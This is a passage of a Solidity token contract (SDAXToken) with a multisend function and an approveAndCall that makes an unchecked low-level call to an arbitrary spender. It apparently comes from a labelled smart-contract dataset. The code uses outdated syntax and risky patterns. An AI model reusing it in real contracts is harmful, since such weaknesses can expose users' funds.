mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract SDAXToken is StandardToken {
function () public {
revert();
}
string public name;
string public symbol;
string public version = 'V0.1';
uint8 public constant decimals = 8;
uint256 public constant PRECISION = (10 ** uint256(decimals));
constructor(
uint256 _initialAmount,
string _tokenName,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount * PRECISION;
totalSupply = _initialAmount * PRECISION;
name = _tokenName;
symbol = _tokenSymbol;
}
function multisend(address[] dests, uint256[] values) public returns (uint256) {
uint256 i = 0;
while (i < dests.length) {
require(balances[msg.sender] >= values[i]);
transfer(dests[i], values[i]);
i += 1;
}
return(i);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
} | 1 | 3,360 |
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